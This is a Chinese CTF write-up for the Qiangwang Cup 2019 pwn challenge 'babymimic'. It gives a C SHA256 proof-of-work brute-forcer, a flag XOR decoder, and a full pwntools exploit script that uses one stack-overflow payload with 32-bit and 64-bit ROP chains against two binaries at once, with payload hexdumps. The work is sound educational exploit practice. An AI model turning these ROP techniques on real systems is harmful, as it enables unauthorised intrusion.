强网杯2019 pwn babymimic writeup

TOC

  1. 1. 爆破
  2. 2. flag加密
  3. 3. 正题
  4. 4. 思路
    1. 4.1. 第一次读取payload
    2. 4.2. 第二次读取payload
    3. 4.3. 64位的ROP
    4. 4.4. 32位的ROP
    5. 4.5. 读取flag
  5. 5. 完整脚本
  6. 6. 运行实例
    1. 6.1. 32位程序
    2. 6.2. 64位程序
  7. 7. 总结

一道考验综合能力的pwn题。

源程序、相关文件下载:babymimic.zip

爆破

ex@Ex:~/test$ nc 49.4.51.149 25391
[+]proof: skr=os.urandom(8)
[+]hashlib.sha256(skr).hexdigest()=23a27ff60016f28977fb56c3445f92ddb7511abcd79ab6bf462d82930bf5ba1e
[+]skr[0:5].encode('hex')=4ad80d1c3c
[-]skr.encode('hex')=

首先题目需要我们进行sha256爆破,开始时用Python的多线程总是速度不够快,经常被check,所以我就用C语言重新写了一遍。

// compiled: gcc -O3 -pthread crack.c sha256.c -o crack
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include "sha256.h"

// 设置线程数目
#define THREAD_NUM 2

char global_hash[0x100] = {0};
char global_data[0x10] = {0};
char global_answer[0x100] = {0};

int str_to_hex(char *str)
{
char high = 0, low = 0, i;

if (strlen(str) % 2 != 0)
{
return 0;
}

for (i = 0; str[i]; i += 2)
{
if (str[i] >= '0' && str[i] <= '9')
{
high = str[i] - '0';
}
else if (str[i] >= 'a' && str[i] <= 'f')
{
high = str[i] - 'a' + 10;
}
else
{
return 0;
}

if (str[i + 1] >= '0' && str[i + 1] <= '9')
{
low = str[i + 1] - '0';
}
else if (str[i + 1] >= 'a' && str[i + 1] <= 'f')
{
low = str[i + 1] - 'a' + 10;
}
else
{
return 0;
}

str[i / 2] = ((high & 0x0f) << 4 | (low & 0x0f));
}

str[i / 2] = '\0';
return 1;
}

void crack(void *p)
{
int offset = *(int *)p, i, ii, iii;
char hash[0x100];
char data[0x10];
char answer[0x100];
memcpy(hash, global_hash, 0x100);
memcpy(data, global_data, 0x10);
memcpy(answer, global_answer, 0x100);

for (i = 0; i < 256; i++)
{
data[5] = i;
for (ii = 0; ii < 256; ii++)
{
data[6] = ii;
for (iii = offset; iii < 256; iii += THREAD_NUM)
{
data[7] = iii;
sha256(data, 8, hash);
if (memcmp(hash, answer, 32) == 0)
{
write(1, data, 8);
exit(0);
}
}
}
}
}

int main(int argc, char const *argv[])
{
pthread_t threads[THREAD_NUM];
int offset[THREAD_NUM], i;
memcpy(global_data, argv[1], 5 * 2);
memcpy(global_answer, argv[2], 32 * 2);

// printf("%s\n%s\n", global_data, global_answer);
str_to_hex(global_data);
str_to_hex(global_answer);

// 启动线程
for (i = 0; i < THREAD_NUM; i++)
{
offset[i] = i;
pthread_create(&threads[i], NULL, crack, (void *)&offset[i]);
}

// 等待线程
for (i = 0; i < THREAD_NUM; i++)
{
pthread_join(threads[i], NULL);
}

return 0;
}

sha256源码来自:https://github.com/ilvn/SHA256

编译出来之后,配合下面的脚本就能过检查:

sh = remote('49.4.51.149', 25391)
result = sh.recvuntil("[-]skr.encode('hex')=")
answer = result[0x3f:0x7f]
print(answer)

prefix = result[0x9a:0xa4]
print(prefix)

cmd = './crack ' + prefix + ' ' + answer + ' > txt'
print(cmd)
os.system(cmd)
key = open('txt', 'rb').read()
print(hexdump(key))

sh.sendline(binascii.b2a_hex(key))

flag加密

[+]teamtoken:[+]proof completed
your flag is encoded by your token!

def stream_encode(flag, token):
s = ""
for i in range(0, len(flag)):
s += chr(ord(flag[i]) ^ ord(token[i % len(flag)]))
return s.encode("hex")

your flag file --> flag_01a02b62514c64314d39ed2e1568a440
Welcome to QWB
We give you a little challenge, try to pwn it?

爆破之后,程序提示了flag是加了密的,再加上我们的token是32位的,所以就能确定flag文件应该是64字节

flag加密很简单,只需要一个脚本就能跑出来。

#!/usr/bin/python
# -*- coding:utf-8 -*-

import binascii

# 输出 flag
flag_file_content = 'your flag_file_content'
flag_file_content = binascii.a2b_hex(flag_file_content)
token = 'your token'

flag = ''
for i in range(len(token)):
flag += chr(ord(flag_file_content[i]) ^ ord(token[i]))

print (flag)

# 再次验证一下
def stream_encode(flag, token):
s = ""
for i in range(0, len(flag)):
s += chr(ord(flag[i]) ^ ord(token[i % len(flag)]))
return s.encode("hex")
print(stream_encode(flag, token))

正题

题目给了我们两个程序,一个32位程序,一个64位程序,题目的考点就是让我们用一个脚本同时打通两个程序。

这里我说一下它的检查原理,在我们连上靶机之后,靶机会利用脚本同时启动32位程序和64位程序,我们的输入流会被脚本复制成两份,每个程序一份,然后脚本会检测输出流,若是两个程序的输出流不一致,则会被脚本check,若其中任意一个程序crash或者退出,则脚本会同时结束两个程序,直接断开链接。

所以我们要做的就是用同一个脚本,打32位程序和64位程序的时候,要保证输入流和输出流完全一致,这就考验我们构造payload的能力。

思路

两个程序都是标准的栈溢出,但是32位程序的溢出偏移是272字节,64位程序的溢出偏移是280字节,正是这个差别,使得我们可以构造出同时适用于两个程序的payload。

第一次读取payload

new_stack_x86 = 0x80db000 - 0x400
sh.send(
'a' * 268 + # offset
p32(new_stack_x86) + # 32位程序 的新栈地址
p32(0x8048902) + # vul 函数的一个地址,再次进行读取输入流
p32(0) + # no use
payload_x64 # 64位程序 的payload
)

这里我将32位程序进行栈转移64位程序正常ROP,否则一个ROP链是不能让两个程序同时兼容的,所以我分成了两次进行读取ROP,这是第一次发送64位的ROP链,之后会发送32位的。

这里0x8048902的地址主要是为了重新读取payload进行32的ROP。

► 0x8048902 <vul+93>   push   0x300
0x8048907 <vul+98> lea eax, [ebp - 0x10c]
0x804890d <vul+104> push eax
0x804890e <vul+105> push 0
0x8048910 <vul+107> call read <0x806c8e0>

0x8048915 <vul+112> add esp, 0x10

第二次读取payload

sh.send( 
'\0\n' + # 这里是为了保持两个ROP链有相同的输出流
'b' * 270 + # 偏移
payload_x86 # 第二次payload
)

\0\n是为了保持两个ROP链有相同的输出流,因为32位的程序跳到0x8048902之后,有把读取到的内容puts出来,这里我将第一个字符设置为\0就是为了让32位的程序在运行puts时只输出一个换行,而第二字符\n是给64位程序用的,目的就是为了让两个程序同时输出一个换行字符。

64位的ROP

这个ROP链必须要保证和32位的ROP链的输出结果保持一致。

new_space_x64 = 0x6a4000-0x400
layout_x64 = [
# 读取第二次 payload 输入
p64(pop_rdi_ret_x64),
p64(0),
p64(pop_rsi_ret_x64),
p64(new_space_x64),
p64(pop_rdx_ret_x64),
p64(0x1000),
p64(elf_x64.symbols['read']),

# 输出换行
p64(pop_rdi_ret_x64),
p64(1),
p64(pop_rsi_ret_x64),
p64(new_space_x64 + 1),
p64(pop_rdx_ret_x64),
p64(1),
p64(elf_x64.symbols['write']),

# 读取 flag 文件名
p64(pop_rdi_ret_x64),
p64(0),
p64(pop_rsi_ret_x64),
p64(new_space_x64),
p64(pop_rdx_ret_x64),
p64(0x1000),
p64(elf_x64.symbols['read']),

# 打开 flag 文件
p64(pop_rdi_ret_x64),
p64(new_space_x64),
p64(pop_rsi_ret_x64),
p64(0),
p64(pop_rdx_ret_x64),
p64(0),
p64(elf_x64.symbols['open']),

# 读取 flag 文件
p64(pop_rdi_ret_x64),
p64(3),
p64(pop_rsi_ret_x64),
p64(new_space_x64),
p64(pop_rdx_ret_x64),
p64(100),
p64(elf_x64.symbols['read']),

# 输出 flag 文件
p64(pop_rdi_ret_x64),
p64(1),
p64(pop_rsi_ret_x64),
p64(new_space_x64),
p64(pop_rdx_ret_x64),
p64(flag_length),
p64(elf_x64.symbols['write']),
]
payload_x64 = flat(layout_x64)

new_space_x64 + 1就是对应\0\n中的\n,这样就能保证两个程序同时输出一个换行,保证不会被check,之后就是从输入流读取flag文件名,然后打开,再读取,再输出,为了保证输入流、输出流一致,我们只需要把32位程序的ROP链也按照这个流程设计,那么就不会被check

32位的ROP

# 0x08055f54 : pop eax ; pop edx ; pop ebx ; ret
flag_str_x86 = 0x80db000 - 0x100
pop_3_ret_x86 = 0x08055f54
layout_x86 = [
# 读取 flag 文件名
p32(elf_x86.symbols['read']),
p32(pop_3_ret_x86),
p32(0),
p32(flag_str_x86),
p32(100),

# 打开 flag 文件
p32(elf_x86.symbols['open']),
p32(pop_3_ret_x86),
p32(flag_str_x86),
p32(0),
p32(0),

# 读取 flag 文件
p32(elf_x86.symbols['read']),
p32(pop_3_ret_x86),
p32(3),
p32(flag_str_x86),
p32(100),

# 输出 flag 文件
p32(elf_x86.symbols['write']),
p32(pop_3_ret_x86),
p32(1),
p32(flag_str_x86),
p32(flag_length),
]
payload_x86 = flat(layout_x86)

和64位的ROP链保持一致,这样就能保持输入流、输出流一致,不会被check。

读取flag

之后就只需要发送我们的flag文件名,就能得到flag。

sh.sendline('./flag\x00')

sh.interactive()

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import random
import struct
import os
import binascii
import sys
import time

context.log_level = 'debug'

sh = remote('49.4.51.149', 25391)
result = sh.recvuntil("[-]skr.encode('hex')=")
answer = result[0x3f:0x7f]
print(answer)

prefix = result[0x9a:0xa4]
print(prefix)

cmd = './crack ' + prefix + ' ' + answer + ' > txt'
print(cmd)
os.system(cmd)
key = open('txt', 'rb').read()
print(hexdump(key))

sh.sendline(binascii.b2a_hex(key))

# 你的token
sh.sendline('*********************')


# sh = process("./__stkof")
elf_x64 = ELF("./__stkof")
elf_x86 = ELF("./_stkof")


# 创建pid文件,用于gdb调试
try:
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
except Exception as e:
pass

flag_length = 64

# pause()
print (sh.recvuntil('We give you a little challenge, try to pwn it?\n'))

# 0x00000000004005f6 : pop rdi ; ret
pop_rdi_ret_x64 = 0x00000000004005f6
# 0x0000000000405895 : pop rsi ; ret
pop_rsi_ret_x64 = 0x0000000000405895
# 0x000000000043b9d5 : pop rdx ; ret
pop_rdx_ret_x64 = 0x000000000043b9d5

new_space_x64 = 0x6a4000-0x400
layout_x64 = [
# 读取第二次 payload 输入
p64(pop_rdi_ret_x64),
p64(0),
p64(pop_rsi_ret_x64),
p64(new_space_x64),
p64(pop_rdx_ret_x64),
p64(0x1000),
p64(elf_x64.symbols['read']),

# 输出换行
p64(pop_rdi_ret_x64),
p64(1),
p64(pop_rsi_ret_x64),
p64(new_space_x64 + 1),
p64(pop_rdx_ret_x64),
p64(1),
p64(elf_x64.symbols['write']),

# 读取 flag 文件名
p64(pop_rdi_ret_x64),
p64(0),
p64(pop_rsi_ret_x64),
p64(new_space_x64),
p64(pop_rdx_ret_x64),
p64(0x1000),
p64(elf_x64.symbols['read']),

# 打开 flag 文件
p64(pop_rdi_ret_x64),
p64(new_space_x64),
p64(pop_rsi_ret_x64),
p64(0),
p64(pop_rdx_ret_x64),
p64(0),
p64(elf_x64.symbols['open']),

# 读取 flag 文件
p64(pop_rdi_ret_x64),
p64(3),
p64(pop_rsi_ret_x64),
p64(new_space_x64),
p64(pop_rdx_ret_x64),
p64(100),
p64(elf_x64.symbols['read']),

# 输出 flag 文件
p64(pop_rdi_ret_x64),
p64(1),
p64(pop_rsi_ret_x64),
p64(new_space_x64),
p64(pop_rdx_ret_x64),
p64(flag_length),
p64(elf_x64.symbols['write']),
]
payload_x64 = flat(layout_x64)

new_stack_x86 = 0x80db000 - 0x400
time.sleep(3)
sh.send(
'a' * 268 + # offset
p32(new_stack_x86) + # 32位程序 的新栈地址
p32(0x8048902) + # vul 函数的一个地址,再次进行读取输入流
p32(0) + # no use
payload_x64 # 64位程序 的payload
)

sh.recvuntil('a' * 268 + '\n')


# 0x08055f54 : pop eax ; pop edx ; pop ebx ; ret
flag_str_x86 = 0x80db000 - 0x100
pop_3_ret_x86 = 0x08055f54
layout_x86 = [
# 读取 flag 文件名
p32(elf_x86.symbols['read']),
p32(pop_3_ret_x86),
p32(0),
p32(flag_str_x86),
p32(100),

# 打开 flag 文件
p32(elf_x86.symbols['open']),
p32(pop_3_ret_x86),
p32(flag_str_x86),
p32(0),
p32(0),

# 读取 flag 文件
p32(elf_x86.symbols['read']),
p32(pop_3_ret_x86),
p32(3),
p32(flag_str_x86),
p32(100),

# 输出 flag 文件
p32(elf_x86.symbols['write']),
p32(pop_3_ret_x86),
p32(1),
p32(flag_str_x86),
p32(flag_length),
]
payload_x86 = flat(layout_x86)

sh.send(
'\0\n' + # 这里是为了保持两个ROP链有相同的输出流
'b' * 270 + # 偏移
payload_x86 # 第二次payload
)

time.sleep(3)
# 你的flag 文件
sh.sendline('./flag\x00')
sh.recvuntil('\n')

sh.interactive()


# 删除调试文件
os.system("rm -f pid")

运行实例

32位程序

ex@Ex:~/test$ python -c 'print("E" * 64)' > flag
ex@Ex:~/test$ python2 exp.py
[+] Starting local process './_stkof': pid 21141
[DEBUG] '/home/ex/test/__stkof' is statically linked, skipping GOT/PLT symbols
[*] '/home/ex/test/__stkof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[DEBUG] '/home/ex/test/_stkof' is statically linked, skipping GOT/PLT symbols
[*] '/home/ex/test/_stkof'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[DEBUG] Received 0x3e bytes:
'Welcome to QWB\n'
'We give you a little challenge, try to pwn it?\n'
Welcome to QWB
We give you a little challenge, try to pwn it?

[DEBUG] Sent 0x268 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000100 61 61 61 61 61 61 61 61 61 61 61 61 00 ac 0d 08 │aaaa│aaaa│aaaa│····│
00000110 02 89 04 08 00 00 00 00 f6 05 40 00 00 00 00 00 │····│····│··@·│····│
00000120 00 00 00 00 00 00 00 00 95 58 40 00 00 00 00 00 │····│····│·X@·│····│
00000130 00 30 6a 00 00 00 00 00 d5 b9 43 00 00 00 00 00 │·0j·│····│··C·│····│
00000140 00 10 00 00 00 00 00 00 c0 b9 43 00 00 00 00 00 │····│····│··C·│····│
00000150 f6 05 40 00 00 00 00 00 01 00 00 00 00 00 00 00 │··@·│····│····│····│
00000160 95 58 40 00 00 00 00 00 01 30 6a 00 00 00 00 00 │·X@·│····│·0j·│····│
00000170 d5 b9 43 00 00 00 00 00 01 00 00 00 00 00 00 00 │··C·│····│····│····│
00000180 90 ba 43 00 00 00 00 00 f6 05 40 00 00 00 00 00 │··C·│····│··@·│····│
00000190 00 00 00 00 00 00 00 00 95 58 40 00 00 00 00 00 │····│····│·X@·│····│
000001a0 00 30 6a 00 00 00 00 00 d5 b9 43 00 00 00 00 00 │·0j·│····│··C·│····│
000001b0 00 10 00 00 00 00 00 00 c0 b9 43 00 00 00 00 00 │····│····│··C·│····│
000001c0 f6 05 40 00 00 00 00 00 00 30 6a 00 00 00 00 00 │··@·│····│·0j·│····│
000001d0 95 58 40 00 00 00 00 00 00 00 00 00 00 00 00 00 │·X@·│····│····│····│
000001e0 d5 b9 43 00 00 00 00 00 00 00 00 00 00 00 00 00 │··C·│····│····│····│
000001f0 00 b8 43 00 00 00 00 00 f6 05 40 00 00 00 00 00 │··C·│····│··@·│····│
00000200 03 00 00 00 00 00 00 00 95 58 40 00 00 00 00 00 │····│····│·X@·│····│
00000210 00 30 6a 00 00 00 00 00 d5 b9 43 00 00 00 00 00 │·0j·│····│··C·│····│
00000220 64 00 00 00 00 00 00 00 c0 b9 43 00 00 00 00 00 │d···│····│··C·│····│
00000230 f6 05 40 00 00 00 00 00 01 00 00 00 00 00 00 00 │··@·│····│····│····│
00000240 95 58 40 00 00 00 00 00 00 30 6a 00 00 00 00 00 │·X@·│····│·0j·│····│
00000250 d5 b9 43 00 00 00 00 00 40 00 00 00 00 00 00 00 │··C·│····│@···│····│
00000260 90 ba 43 00 00 00 00 00 │··C·│····││
00000268
[DEBUG] Received 0x10d bytes:
'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'
[DEBUG] Sent 0x160 bytes:
00000000 00 0a 62 62 62 62 62 62 62 62 62 62 62 62 62 62 │··bb│bbbb│bbbb│bbbb│
00000010 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 │bbbb│bbbb│bbbb│bbbb│
*
00000110 e0 c8 06 08 54 5f 05 08 00 00 00 00 00 af 0d 08 │····│T_··│····│····│
00000120 64 00 00 00 c0 c7 06 08 54 5f 05 08 00 af 0d 08 │d···│····│T_··│····│
00000130 00 00 00 00 00 00 00 00 e0 c8 06 08 54 5f 05 08 │····│····│····│T_··│
00000140 03 00 00 00 00 af 0d 08 64 00 00 00 b0 c9 06 08 │····│····│d···│····│
00000150 54 5f 05 08 01 00 00 00 00 af 0d 08 40 00 00 00 │T_··│····│····│@···│
00000160
[DEBUG] Received 0x1 bytes:
'\n'
[DEBUG] Sent 0x8 bytes:
00000000 2e 2f 66 6c 61 67 00 0a │./fl│ag··││
00000008
[*] Switching to interactive mode
[DEBUG] Received 0x40 bytes:
'E' * 0x40
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE[*] Got EOF while reading in interactive
$

64位程序

ex@Ex:~/test$ python -c 'print("E" * 64)' > flag
ex@Ex:~/test$ python2 exp3.py
[+] Starting local process './__stkof': pid 21170
[DEBUG] '/home/ex/test/__stkof' is statically linked, skipping GOT/PLT symbols
[*] '/home/ex/test/__stkof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[DEBUG] '/home/ex/test/_stkof' is statically linked, skipping GOT/PLT symbols
[*] '/home/ex/test/_stkof'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[DEBUG] Received 0x3e bytes:
'Welcome to QWB\n'
'We give you a little challenge, try to pwn it?\n'
Welcome to QWB
We give you a little challenge, try to pwn it?

[DEBUG] Sent 0x268 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000100 61 61 61 61 61 61 61 61 61 61 61 61 00 ac 0d 08 │aaaa│aaaa│aaaa│····│
00000110 02 89 04 08 00 00 00 00 f6 05 40 00 00 00 00 00 │····│····│··@·│····│
00000120 00 00 00 00 00 00 00 00 95 58 40 00 00 00 00 00 │····│····│·X@·│····│
00000130 00 30 6a 00 00 00 00 00 d5 b9 43 00 00 00 00 00 │·0j·│····│··C·│····│
00000140 00 10 00 00 00 00 00 00 c0 b9 43 00 00 00 00 00 │····│····│··C·│····│
00000150 f6 05 40 00 00 00 00 00 01 00 00 00 00 00 00 00 │··@·│····│····│····│
00000160 95 58 40 00 00 00 00 00 01 30 6a 00 00 00 00 00 │·X@·│····│·0j·│····│
00000170 d5 b9 43 00 00 00 00 00 01 00 00 00 00 00 00 00 │··C·│····│····│····│
00000180 90 ba 43 00 00 00 00 00 f6 05 40 00 00 00 00 00 │··C·│····│··@·│····│
00000190 00 00 00 00 00 00 00 00 95 58 40 00 00 00 00 00 │····│····│·X@·│····│
000001a0 00 30 6a 00 00 00 00 00 d5 b9 43 00 00 00 00 00 │·0j·│····│··C·│····│
000001b0 00 10 00 00 00 00 00 00 c0 b9 43 00 00 00 00 00 │····│····│··C·│····│
000001c0 f6 05 40 00 00 00 00 00 00 30 6a 00 00 00 00 00 │··@·│····│·0j·│····│
000001d0 95 58 40 00 00 00 00 00 00 00 00 00 00 00 00 00 │·X@·│····│····│····│
000001e0 d5 b9 43 00 00 00 00 00 00 00 00 00 00 00 00 00 │··C·│····│····│····│
000001f0 00 b8 43 00 00 00 00 00 f6 05 40 00 00 00 00 00 │··C·│····│··@·│····│
00000200 03 00 00 00 00 00 00 00 95 58 40 00 00 00 00 00 │····│····│·X@·│····│
00000210 00 30 6a 00 00 00 00 00 d5 b9 43 00 00 00 00 00 │·0j·│····│··C·│····│
00000220 64 00 00 00 00 00 00 00 c0 b9 43 00 00 00 00 00 │d···│····│··C·│····│
00000230 f6 05 40 00 00 00 00 00 01 00 00 00 00 00 00 00 │··@·│····│····│····│
00000240 95 58 40 00 00 00 00 00 00 30 6a 00 00 00 00 00 │·X@·│····│·0j·│····│
00000250 d5 b9 43 00 00 00 00 00 40 00 00 00 00 00 00 00 │··C·│····│@···│····│
00000260 90 ba 43 00 00 00 00 00 │··C·│····││
00000268
[DEBUG] Received 0x10d bytes:
'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'
[DEBUG] Sent 0x160 bytes:
00000000 00 0a 62 62 62 62 62 62 62 62 62 62 62 62 62 62 │··bb│bbbb│bbbb│bbbb│
00000010 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 │bbbb│bbbb│bbbb│bbbb│
*
00000110 e0 c8 06 08 54 5f 05 08 00 00 00 00 00 af 0d 08 │····│T_··│····│····│
00000120 64 00 00 00 c0 c7 06 08 54 5f 05 08 00 af 0d 08 │d···│····│T_··│····│
00000130 00 00 00 00 00 00 00 00 e0 c8 06 08 54 5f 05 08 │····│····│····│T_··│
00000140 03 00 00 00 00 af 0d 08 64 00 00 00 b0 c9 06 08 │····│····│d···│····│
00000150 54 5f 05 08 01 00 00 00 00 af 0d 08 40 00 00 00 │T_··│····│····│@···│
00000160
[DEBUG] Received 0x1 bytes:
'\n'
[DEBUG] Sent 0x8 bytes:
00000000 2e 2f 66 6c 61 67 00 0a │./fl│ag··││
00000008
[*] Switching to interactive mode
[DEBUG] Received 0x40 bytes:
'E' * 0x40
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE[*] Got EOF while reading in interactive
$

可以看到,两个程序的输入流、输出流完全一致。

总结

主要是考验我们构造ROP的能力。